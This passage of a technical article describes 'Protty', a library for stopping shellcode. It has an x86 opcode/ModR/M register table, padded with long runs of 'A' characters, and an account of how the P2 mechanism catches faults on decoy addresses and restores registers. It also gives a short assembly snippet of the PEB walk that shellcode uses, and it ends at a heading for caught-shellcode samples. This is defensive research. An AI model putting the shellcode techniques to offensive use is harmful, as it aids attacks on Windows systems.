AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A62 A [disp8+EDX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A63 A [disp8+EBX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A64 A [disp8+[‑‑][‑‑]], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A65 A [disp8+EBP], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A66 A [disp8+ESI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A67 A [disp8+EDI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A68 A [disp8+EAX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A69 A [disp8+ECX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A6A A [disp8+EDX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A6B A [disp8+EBX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A6C A [disp8+[‑‑][‑‑]], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A6D A [disp8+EBP], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A6E A [disp8+ESI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A6F A [disp8+EDI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A70 A [disp8+EAX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A71 A [disp8+ECX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A72 A [disp8+EDX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A73 A [disp8+EBX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A74 A [disp8+[‑‑][‑‑]], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A75 A [disp8+EBP], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A76 A [disp8+ESI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A77 A [disp8+EDI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A78 A [disp8+EAX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A79 A [disp8+ECX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A7A A [disp8+EDX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A7B A [disp8+EBX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A7C A [disp8+[‑‑][‑‑]], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A7D A [disp8+EBP], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A7E A [disp8+ESI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A7F A [disp8+EDI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A80 A [disp32+EAX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A81 A [disp32+ECX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A82 A [disp32+EDX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A83 A [disp32+EBX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A84 A [disp32+[‑‑][‑‑]], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A85 A [disp32+EBP], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A86 A [disp32+ESI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A87 A [disp32+EDI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A88 A [disp32+EAX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A89 A [disp32+ECX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A8A A [disp32+EDX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A8B A [disp32+EBX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A8C A [disp32+[‑‑][‑‑]], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A8D A [disp32+EBP], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A8E A [disp32+ESI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A8F A [disp32+EDI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A90 A [disp32+EAX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A91 A [disp32+ECX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A92 A [disp32+EDX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A93 A [disp32+EBX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A94 A [disp32+[‑‑][‑‑]], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A95 A [disp32+EBP], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A96 A [disp32+ESI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A97 A [disp32+EDI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A98 A [disp32+EAX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A99 A [disp32+ECX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A9A A [disp32+EDX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A9B A [disp32+EBX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A9C A [disp32+[‑‑][‑‑]], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A9D A [disp32+EBP], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A9E A [disp32+ESI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A9F A [disp32+EDI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA0 A [disp32+EAX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA1 A [disp32+ECX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA2 A [disp32+EDX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA3 A [disp32+EBX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA4 A [disp32+[‑‑][‑‑]], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA5 A [disp32+EBP], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA6 A [disp32+ESI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA7 A [disp32+EDI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA8 A [disp32+EAX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA9 A [disp32+ECX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA A [disp32+EDX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAB A [disp32+EBX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAC A [disp32+[‑‑][‑‑]], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD A [disp32+EBP], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAE A [disp32+ESI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAF A [disp32+EDI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB0 A [disp32+EAX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB1 A [disp32+ECX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB2 A [disp32+EDX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB3 A [disp32+EBX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB4 A [disp32+[‑‑][‑‑]], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB5 A [disp32+EBP], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB6 A [disp32+ESI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB7 A [disp32+EDI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB8 A [disp32+EAX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AB9 A [disp32+ECX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ABA A [disp32+EDX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ABB A [disp32+EBX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ABC A [disp32+[‑‑][‑‑]], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ABD A [disp32+EBP], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ABE A [disp32+ESI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ABF A [disp32+EDI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC0 A EAX/AX/AL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC1 A ECX/CX/CL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC2 A EDX/DX/DL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC3 A EBX/BX/BL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC4 A ESP/SP/AH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC5 A EBP/BP/CH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC6 A ESI/SI/DH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC7 A EDI/DI/BH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC8 A EAX/AX/AL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC9 A ECX/CX/CL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACA A EDX/DX/DL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACB A EBX/BX/BL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACC A ESP/SP/AH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACD A EBP/BP/CH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACE A ESI/SI/DH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACF A EDI/DI/BH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD0 A EAX/AX/AL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD1 A ECX/CX/CL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD2 A EDX/DX/DL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD3 A EBX/BX/BL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD4 A ESP/SP/AH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD5 A EBP/BP/CH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD6 A ESI/SI/DH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD7 A EDI/DI/BH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD8 A EAX/AX/AL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AD9 A ECX/CX/CL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADA A EDX/DX/DL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADB A EBX/BX/BL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADC A ESP/SP/AH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADD A EBP/BP/CH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADE A ESI/SI/DH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ADF A EDI/DI/BH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE0 A EAX/AX/AL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE1 A ECX/CX/CL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE2 A EDX/DX/DL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE3 A EBX/BX/BL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE4 A ESP/SP/AH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE5 A EBP/BP/CH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE6 A ESI/SI/DH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE7 A EDI/DI/BH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE8 A EAX/AX/AL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AE9 A ECX/CX/CL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEA A EDX/DX/DL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEB A EBX/BX/BL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEC A ESP/SP/AH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AED A EBP/BP/CH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEE A ESI/SI/DH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEF A EDI/DI/BH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF0 A EAX/AX/AL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF1 A ECX/CX/CL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF2 A EDX/DX/DL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF3 A EBX/BX/BL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF4 A ESP/SP/AH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF5 A EBP/BP/CH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF6 A ESI/SI/DH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF7 A EDI/DI/BH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF8 A EAX/AX/AL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AF9 A ECX/CX/CL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AFA A EDX/DX/DL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AFB A EBX/BX/BL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AFC A ESP/SP/AH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AFD A EBP/BP/CH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AFE A ESI/SI/DH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AFF A EDI/DI/BH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

As you can see 03h covers "[EBX], EAX/AX/AL". And that's the thing we needed.Now mechanism knows it should scan EAX and EBX registers and update them if their values are "similiar" to address of "DECOYS". Of course the register checking method could be more efficient (should also check more opcodes etc. etc.) ‑ maybe in next versions.

In the mechanism i have used the table listed above, anyway there is also "another" ("primary") way to determine what registers are used. The way is based on fact that ModR/M byte contains three fields of information (Mod, Reg/Opcode, R/M). By checking bits of those entries we can determine what registers are used by the instruction (surely interesting tables from Intel manuals: "...Addressing Forms with the ModR/M Byte") I'm currently working on disassembler engine, so all those codes related to "opcode decoding" topic should be released in the nearest future. And probably if Protty project will be continued i will exchange the z0mbie dissassembler engine with my own, anyway his baby works very well.

If you are highly interrested in disassembling the instructions, check the [8].

To see how it works, check following example:

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

mov eax,fs:[30h]

mov eax,[eax+0ch]

mov esi,[eax+1ch] ; value changed by protector,ESI=DDDDDDDDh lodsd; load one dword <‑ causes exception

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This example faults on "lodsd" instruction, because application is trying to load 4 bytes from invalid location ‑ ESI (because it was changed by P2).

Prevention library takeovers the exception and checks the instruction. This one is "lodsd" so instead of ModR/M byte (because there is no such here) library checks the opcode. When it finds out it is "lodsd" instruction, it scans and updates ESI. Finally the ESI (in this case) is rewritten to 0241F28h (original) and the execution is continued including the "BAD" instruction.

So that's how P2 works, a lot faster then its older brother P1.

‑‑[ VI. Action ‑ few samples of catched shellcodes

If you have studied descriptions of all of the mechanisms, it is time to show where/when Protty prevents them.

Lets take a look at examples of all mechanisms described in paragraph IV.

PEB (Process Environment Block) parsing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

